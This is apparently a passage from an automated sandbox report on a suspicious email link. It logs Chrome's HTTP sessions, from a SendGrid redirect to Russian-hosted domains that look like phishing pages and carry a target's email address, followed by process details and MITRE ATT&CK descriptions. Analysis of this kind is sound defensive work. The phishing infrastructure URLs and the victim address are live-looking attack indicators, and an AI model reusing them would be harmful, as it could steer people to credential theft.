2024-12-24 14:06:53 UTC	16384	OUT	Data Raw: 54 48 36 6c 45 76 64 4e 48 6a 73 32 45 30 4b 65 76 36 75 75 32 57 33 73 2d 73 59 48 70 48 64 2d 48 6a 48 56 62 36 6f 70 72 44 59 6c 2b 62 73 6f 48 73 45 2b 6e 73 72 2d 70 76 4b 4b 73 6e 57 4b 45 4c 71 48 64 4f 4b 2d 2b 4b 73 35 48 47 2d 69 58 76 54 48 7a 2d 69 6e 48 5a 62 4b 48 73 65 48 2b 48 59 62 4c 76 48 43 48 35 48 4b 54 73 5a 48 36 62 48 42 48 35 61 64 62 64 68 35 65 6c 47 36 2b 43 76 63 48 47 76 55 4e 48 6f 48 58 36 48 59 2b 6f 48 4f 76 79 6c 4c 36 48 46 76 6b 59 2b 36 48 53 76 35 71 4c 55 48 39 76 50 71 2b 57 48 41 76 35 4b 2b 52 48 6c 2d 6b 71 2b 70 48 66 76 55 4b 4c 50 48 54 2d 45 4b 2b 50 48 68 2d 6b 4e 4c 70 48 58 2d 45 6e 2b 24 48 52 2d 50 4e 4c 37 48 4f 2d 6a 4e 2b 30 48 43 2d 6a 6e 4c 39 48 37 2d 55 65 2b 37 48 53 2d 56 43 68 4e 76 34 50 76 Data Ascii: TH6lEvdNHjs2E0Kev6uu2W3s-sYHpHd-HjHVb6oprDYl+bsoHsE+nsr-pvKKsnWKELqHdOK-+Ks5HG-iXvTHz-inHZbKHseH+HYbLvHCH5HKTsZH6bHBH5adbdh5elG6+CvcHGvUNHoHX6HY+oHOvylL6HFvkY+6HSv5qLUH9vPq+WHAv5K+RHl-kq+pHfvUKLPHT-EK+PHh-kNLpHX-En+$HR-PNL7HO-jN+0HC-jnL9H7-Ue+7HS-VChNv4Pv
2024-12-24 14:06:53 UTC	1036	OUT	Data Raw: 35 76 6e 4e 74 36 75 24 72 53 53 6f 55 64 78 59 6d 2d 63 6e 4b 32 56 61 48 32 68 6c 66 76 36 6e 39 34 2b 4c 53 6c 76 36 4e 59 2d 74 46 45 32 32 63 76 74 39 59 4c 71 45 42 6d 38 48 74 79 79 6a 48 37 35 68 75 4f 4f 2b 6d 34 68 46 33 65 48 4f 50 61 73 55 24 42 42 71 74 62 35 43 74 5a 2d 63 45 47 7a 48 69 46 4e 44 78 4e 49 6e 48 7a 76 69 6a 68 59 4b 37 4b 4b 52 34 43 2d 43 74 48 55 74 75 75 34 39 4c 77 48 34 76 32 4b 51 56 7a 58 34 54 4c 68 62 48 32 48 63 6b 36 43 76 4b 79 69 48 6b 39 68 51 32 64 56 59 33 68 31 32 6b 42 5a 33 68 6b 48 2b 66 77 77 48 57 68 48 76 4b 57 6b 74 48 2b 62 73 76 74 4e 76 4d 4d 6b 54 48 71 2d 6d 6e 34 2b 66 68 50 66 6e 42 64 69 79 65 37 44 61 64 5a 49 6e 52 4b 6b 2b 31 63 32 45 39 50 45 74 7a 4e 24 31 58 64 46 70 32 33 4d 66 52 79 48 Data Ascii: 5vnNt6u$rSSoUdxYm-cnK2VaH2hlfv6n94+LSlv6NY-tFE22cvt9YLqEBm8HtyyjH75huOO+m4hF3eHOPasU$BBqtb5CtZ-cEGzHiFNDxNInHzvijhYK7KKR4C-CtHUtuu49LwH4v2KQVzX4TLhbH2Hck6CvKyiHk9hQ2dVY3h12kBZ3hkH+fwwHWhHvKWktH+bsvtNvMMkTHq-mn4+fhPfnBdiye7DadZInRKk+1c2E9PEtzN$1XdFp23MfRyH
2024-12-24 14:06:54 UTC	1312	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4544 Connection: close cf-chl-out-s: d8W+ANCJf0cRu0m3ksQ4PDsQvXQ9ClEnko+eUr4w9BU6ztOo+jm2Muo/z1wdZEr2hYgMPteuGGFO/o01YPSTcVnATOz6riUJ8PCBaSE/6HUKTlWU3rrNCpRuB6XbgN/1DU6kTkLyYS1Z8aNmGGfqygfdEGNFEGcTofCJi2ZktWaPBsj9AC81QmIB4GDdfYGDGXqJnQYJJf3gxJR0FIjGLpnZgFh8ZUXono3YkVj+ElGhjx8SgoHkyx4+qaOhmSnG5dhC/cAlhMKq+t9+4lFCaKF4rfNxJlZtzRZ8cMYV/piusgI0YutC+VtggFxPWfyV1jEEkb67cfK+9N/crR66IeeHHZZHAarYa5cEPlVey+vYM/sgdjvdiVITfGlvN1eyNK5L/HPJD8PxtZSZ47Kc2qONdNAet5CIema/2d4wnC1WngM1j2BL1IbovBuazrwVppUbOEzBl3L6QEkmih2yTxT/LRxHhPYfNyPlGtSPHPF+CVLQByrMRYl64wPdrIoCblg0Go1dy7n1V7N7tbGm20vMw9v3V81dHwvIbGwm42fPFR6upgirQFGsxGPnzL5859NFt4vwtk/C+IIRxOs8vgva43aadckzW3svgE6elTUDOr+dLjwIZ4a4EeDrXgvKwCC4Rd+IGUlFOYTrq2sbqHKErglS8YqClaEs5nvYOwqTQASdLGiPHbfHr+TQH+v2ja/uFIOFP4Ykpqwy/5bXzRUglVllbLPFYzhL8utpgpWSCMn6JF12ZFgSZrq2nV/C9a5LvlzLXDxeDC+4gHjJS84Ox17fGqYSEMXVV+ZKzkpjFfqni3GfffKpS4TBgj4haJscNAFMKeB8GrKfKG/NMVSR9V17z+jZOsQVaOjJ3/haOU0ZTk3GMqb2nu5MkLafMaL70SX/IQ5JPXW1QFiCcZsQVdlALVUvtO0ByAAcsCuIi/OnDruf7UuESlZ6f6nZ3bhkwZ4VMXsQ82E0ulgL3vDNQypSh2qOtKTZdsFDP8N1Yy70ur [TRUNCATED]
2024-12-24 14:06:54 UTC	233	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 6b 33 49 71 73 7a 79 33 6d 71 30 42 73 6b 65 47 50 41 53 76 6e 44 4d 4c 47 61 4e 45 61 35 7a 52 68 47 77 57 51 56 49 68 74 6e 68 45 6c 79 52 4a 50 6d 66 43 6d 45 37 33 73 52 76 63 4e 51 58 67 76 4b 79 61 59 55 38 61 69 67 64 50 54 50 4e 49 77 34 68 79 4f 69 78 59 71 2f 68 39 76 53 56 44 36 65 55 4d 51 78 47 48 34 7a 4c 50 54 77 4d 2f 4c 33 71 54 7a 63 55 3d 24 33 4d 45 6a 48 2f 30 59 47 64 6b 39 42 64 4b 31 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 37 31 32 37 39 33 34 62 34 31 66 37 39 39 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: k3Iqszy3mq0BskeGPASvnDMLGaNEa5zRhGwWQVIhtnhElyRJPmfCmE73sRvcNQXgvKyaYU8aigdPTPNIw4hyOixYq/h9vSVD6eUMQxGH4zLPTwM/L3qTzcU=$3MEjH/0YGdk9BdK1Server: cloudflareCF-RAY: 8f7127934b41f799-EWRalt-svc: h3=":443"; ma=86400
2024-12-24 14:06:54 UTC	1193	IN	Data Raw: 71 72 61 66 6a 71 4f 68 64 70 61 32 6c 6f 57 59 73 38 75 72 69 72 61 6a 76 71 79 6a 6e 4b 44 44 70 36 2b 4b 71 62 4c 4a 6c 4e 75 39 71 61 43 78 74 36 44 4d 34 4a 79 31 32 62 53 71 32 37 7a 59 72 74 2f 41 36 73 4f 70 31 4f 6e 43 39 61 72 4a 31 4d 4f 30 75 39 2b 33 7a 64 2f 66 75 2b 48 35 32 75 54 77 42 63 67 41 2f 64 72 5a 45 50 41 4b 34 74 33 79 35 65 38 47 30 42 55 44 30 74 77 52 43 4f 77 63 2f 68 77 52 37 52 77 6d 38 50 67 59 39 64 33 72 4b 41 48 35 2b 43 62 2b 2b 2b 59 47 45 67 44 77 39 69 4d 75 2f 44 63 67 4d 50 67 66 4b 2f 78 41 4a 79 51 41 4a 30 55 4b 51 44 34 62 48 78 67 49 51 43 51 73 42 79 73 6b 55 53 4e 57 4e 43 39 4a 4f 78 39 4b 4e 44 38 63 58 6b 42 50 4e 68 35 54 4b 54 70 63 50 43 5a 58 50 44 30 2b 54 79 35 72 4b 47 52 6d 54 48 41 34 65 6b 6c Data Ascii: qrafjqOhdpa2loWYs8urirajvqyjnKDDp6+KqbLJlNu9qaCxt6DM4Jy12bSq27zYrt/A6sOp1OnC9arJ1MO0u9+3zd/fu+H52uTwBcgA/drZEPAK4t3y5e8G0BUD0twRCOwc/hwR7Rwm8PgY9d3rKAH5+Cb+++YGEgDw9iMu/DcgMPgfK/xAJyQAJ0UKQD4bHxgIQCQsByskUSNWNC9JOx9KND8cXkBPNh5TKTpcPCZXPD0+Ty5rKGRmTHA4ekl
2024-12-24 14:06:54 UTC	1369	IN	Data Raw: 6a 49 59 4b 77 77 44 50 52 4d 41 4e 78 34 59 47 54 34 74 4b 7a 78 44 53 6a 45 68 50 53 74 4a 49 46 63 30 54 52 77 78 4d 69 30 30 48 56 56 42 50 55 42 48 4d 6c 74 61 50 30 63 73 5a 45 74 4d 62 69 70 50 64 45 6c 68 62 6d 34 30 5a 31 52 5a 62 31 5a 52 63 54 63 2b 61 30 35 76 59 57 35 2f 55 49 52 79 63 34 4e 69 61 6b 78 63 6b 6f 71 4b 63 56 32 4d 63 34 4a 58 64 34 78 31 63 6e 4b 67 67 47 43 43 57 6c 39 6b 66 33 4b 61 71 6f 57 73 64 5a 79 45 72 33 43 5a 6b 71 53 72 6e 35 4f 43 67 48 57 57 68 6e 65 2b 6d 70 6d 41 6c 70 79 65 75 73 43 64 6d 49 69 6d 71 72 2b 5a 6e 71 58 43 6a 34 75 70 78 71 37 47 74 73 6d 50 6a 37 71 34 31 74 79 7a 75 38 7a 51 77 74 53 38 34 4e 79 67 73 4b 57 2b 6f 38 44 6f 35 62 79 39 33 38 58 50 38 2b 33 4b 72 76 62 36 7a 65 37 71 74 39 62 4b Data Ascii: jIYKwwDPRMANx4YGT4tKzxDSjEhPStJIFc0TRwxMi00HVVBPUBHMltaP0csZEtMbipPdElhbm40Z1RZb1ZRcTc+a05vYW5/UIRyc4NiakxckoqKcV2Mc4JXd4x1cnKggGCCWl9kf3KaqoWsdZyEr3CZkqSrn5OCgHWWhne+mpmAlpyeusCdmIimqr+ZnqXCj4upxq7GtsmPj7q41tyzu8zQwtS84NygsKW+o8Do5by938XP8+3Krvb6ze7qt9bK
2024-12-24 14:06:54 UTC	1369	IN	Data Raw: 76 39 48 52 30 4c 49 79 52 4a 51 42 73 36 45 55 41 71 4e 54 39 53 4f 55 51 35 4c 53 55 6e 54 54 42 62 53 6a 38 32 58 44 63 75 4f 6d 4a 43 4e 69 56 61 61 6a 74 6d 4a 30 35 4a 4f 32 4e 48 51 56 59 34 59 6c 56 74 50 48 42 62 63 6d 39 58 59 47 47 44 59 6e 64 6b 67 32 4e 6f 5a 30 68 6a 61 32 78 5a 63 47 39 7a 67 49 6c 2b 6b 35 56 56 62 35 4a 6d 63 31 42 37 62 4a 71 55 6b 33 31 6b 58 6f 46 68 68 4a 36 69 6a 61 79 6b 70 71 4e 6e 70 70 4e 78 6a 4b 65 59 64 48 57 72 71 34 64 37 6d 71 70 37 6f 48 36 7a 78 4c 36 6e 6a 35 6d 6d 78 4d 71 67 72 4a 75 70 6f 4b 2b 64 72 49 2b 71 30 35 4b 35 71 4e 72 5a 74 61 65 72 79 61 32 5a 32 4e 72 53 6e 63 57 66 6f 36 54 54 76 4b 65 6a 34 63 76 4b 34 73 6e 71 73 4c 37 4b 72 73 6e 68 34 75 2f 30 39 4e 32 33 32 76 48 61 77 4e 33 78 34 Data Ascii: v9HR0LIyRJQBs6EUAqNT9SOUQ5LSUnTTBbSj82XDcuOmJCNiVaajtmJ05JO2NHQVY4YlVtPHBbcm9XYGGDYndkg2NoZ0hja2xZcG9zgIl+k5VVb5Jmc1B7bJqUk31kXoFhhJ6ijaykpqNnppNxjKeYdHWrq4d7mqp7oH6zxL6nj5mmxMqgrJupoK+drI+q05K5qNrZtaerya2Z2NrSncWfo6TTvKej4cvK4snqsL7Krsnh4u/09N232vHawN3x4
2024-12-24 14:06:54 UTC	613	IN	Data Raw: 45 4e 79 42 51 4b 43 41 68 4b 79 6f 6a 4b 6b 6f 33 4f 46 6f 64 4d 6a 31 54 50 6a 63 78 4d 6c 31 44 48 6d 42 62 50 55 55 6b 53 30 5a 69 4d 47 46 61 54 6d 59 75 56 56 52 7a 63 31 64 47 57 6d 74 56 4e 31 68 39 56 6a 70 64 56 47 35 6b 65 33 68 6d 56 6f 4e 70 62 4a 43 48 65 32 2b 47 56 47 52 78 59 31 42 6c 65 49 2b 54 61 58 47 67 61 4b 42 31 6f 31 74 64 6a 70 6d 54 63 58 2b 65 71 4a 6d 6a 6f 57 69 4e 69 6f 2b 4e 70 59 75 4a 71 34 4b 61 72 5a 47 6c 6c 62 47 56 71 5a 6a 45 75 73 4f 6c 6f 73 4c 49 6f 61 6d 67 68 37 61 72 6d 63 47 79 72 73 76 42 72 4c 2b 79 79 61 36 31 6a 74 53 34 30 37 53 59 77 72 2f 6a 31 73 58 62 75 73 6e 49 75 4c 58 4a 79 72 72 61 70 39 4c 6c 38 39 44 56 77 73 4c 77 7a 37 4f 31 36 64 54 4d 36 39 50 59 34 64 72 31 35 63 50 34 39 75 66 64 33 76 Data Ascii: ENyBQKCAhKyojKko3OFodMj1TPjcxMl1DHmBbPUUkS0ZiMGFaTmYuVVRzc1dGWmtVN1h9VjpdVG5ke3hmVoNpbJCHe2+GVGRxY1BleI+TaXGgaKB1o1tdjpmTcX+eqJmjoWiNio+NpYuJq4KarZGllbGVqZjEusOlosLIoamgh7armcGyrsvBrL+yya61jtS407SYwr/j1sXbusnIuLXJyrrap9Ll89DVwsLwz7O16dTM69PY4dr15cP49ufd3v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49778	104.18.95.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:55 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1333725566:1735046060:ea7DtCrMPzRHKu6JjFqJvdNTHHkD3P6YuZW747PdR4Y/8f71270faa3f423a/qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:56 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 24 Dec 2024 14:06:56 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: JYuXyGaZ06v0hjxhMlHRBu83wjpPl9/OJi4=$OWBIcNQy8vlLc9PH Server: cloudflare CF-RAY: 8f7127a02bd38c51-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:56 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49780	172.67.168.1	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:57 UTC	657	OUT	GET /598751268380591bUNXIIfJaIAHTIXSYQUJXLCQDGIOWNJQWJMTAUJIIGQ HTTP/1.1 Host: aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://o6rl.inexpartan.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://o6rl.inexpartan.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:58 UTC	901	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OVQJRa0JN0DYj%2FOeC%2BwqyYPF8I9pSYwftuQHBWm%2FKIbeA1GiWmBN8z2CDfxEhMI6E1nBFppEWUtSVDyqJUMuYPRFsq6JY5tCNU7orIxs924VKzje2ELJHqgsGtvyojFUJsHweGp%2B4CEHLdZTlr2x5n1dAxH%2FUE0XBCrQXW1BnqmMW9jaLo%2B%2FLJrV03U%2BX3sQWdAq7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f7127ab0ce98c06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1810&min_rtt=1789&rtt_var=713&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1235&delivery_rate=1490556&cwnd=163&unsent_bytes=0&cid=d0598efb732c73dd&ts=1111&x=0"
2024-12-24 14:06:58 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-24 14:06:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49784	172.67.168.1	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:07:01 UTC	447	OUT	GET /598751268380591bUNXIIfJaIAHTIXSYQUJXLCQDGIOWNJQWJMTAUJIIGQ HTTP/1.1 Host: aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:07:02 UTC	890	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:07:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ALHMnpAMF40DNSWNVHf8q6qAJgowwk7vXcRkl0pw9RSATiVDv2u05hw98m9veSWqOPIo%2FTc7L9ufaGoVU6YRNdTxrEm6Ub2Pz3vCPRQxvT1B7XEYHlLZAUnWnXQHsq5BqwYK5bneoj%2B4Xh3XbcDII5X7EyImSVTM9RRDw3b0S2NthGbsKyLpis0%2B91L2A1SaGpr2PQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f7127c31fde8c93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1785&rtt_var=692&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1025&delivery_rate=1554845&cwnd=192&unsent_bytes=0&cid=93504a6e6e1c7d30&ts=906&x=0"
2024-12-24 14:07:02 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-24 14:07:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49903	35.190.80.1	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:07:30 UTC	539	OUT	OPTIONS /report/v4?s=ZDUxCl9o5ILuNQ9LtJV5oDGSehkMgtpnrYG3dGjUe%2BkEJhR5Vd0N%2B0QiT4mUIWvAWOCt%2FonG9TjoVuWrq4fzPWKOxgCQk5dzZPG6Ez4syCDm8IZxaOOzwCQpM%2BFunQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://o6rl.inexpartan.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:07:31 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 24 Dec 2024 14:07:30 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49917	35.190.80.1	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:07:32 UTC	478	OUT	POST /report/v4?s=ZDUxCl9o5ILuNQ9LtJV5oDGSehkMgtpnrYG3dGjUe%2BkEJhR5Vd0N%2B0QiT4mUIWvAWOCt%2FonG9TjoVuWrq4fzPWKOxgCQk5dzZPG6Ez4syCDm8IZxaOOzwCQpM%2BFunQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 454 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:07:32 UTC	454	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 33 39 33 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 32 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 36 72 6c 2e 69 6e 65 78 70 61 72 74 61 6e 2e 72 75 2f 30 46 68 62 37 52 2f 3f 71 72 63 3d 6d 6c 79 6f 6e 40 77 63 2e 63 6f 6d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 31 2e 32 30 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d Data Ascii: [{"age":53934,"body":{"elapsed_time":325,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.com","sampling_fraction":1.0,"server_ip":"104.21.91.204","status_code":404,"type":"http.error"}
2024-12-24 14:07:33 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 24 Dec 2024 14:07:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	09:06:03
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:06:09
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2184,i,16216931406052077685,12258593512264580968,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:06:16
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

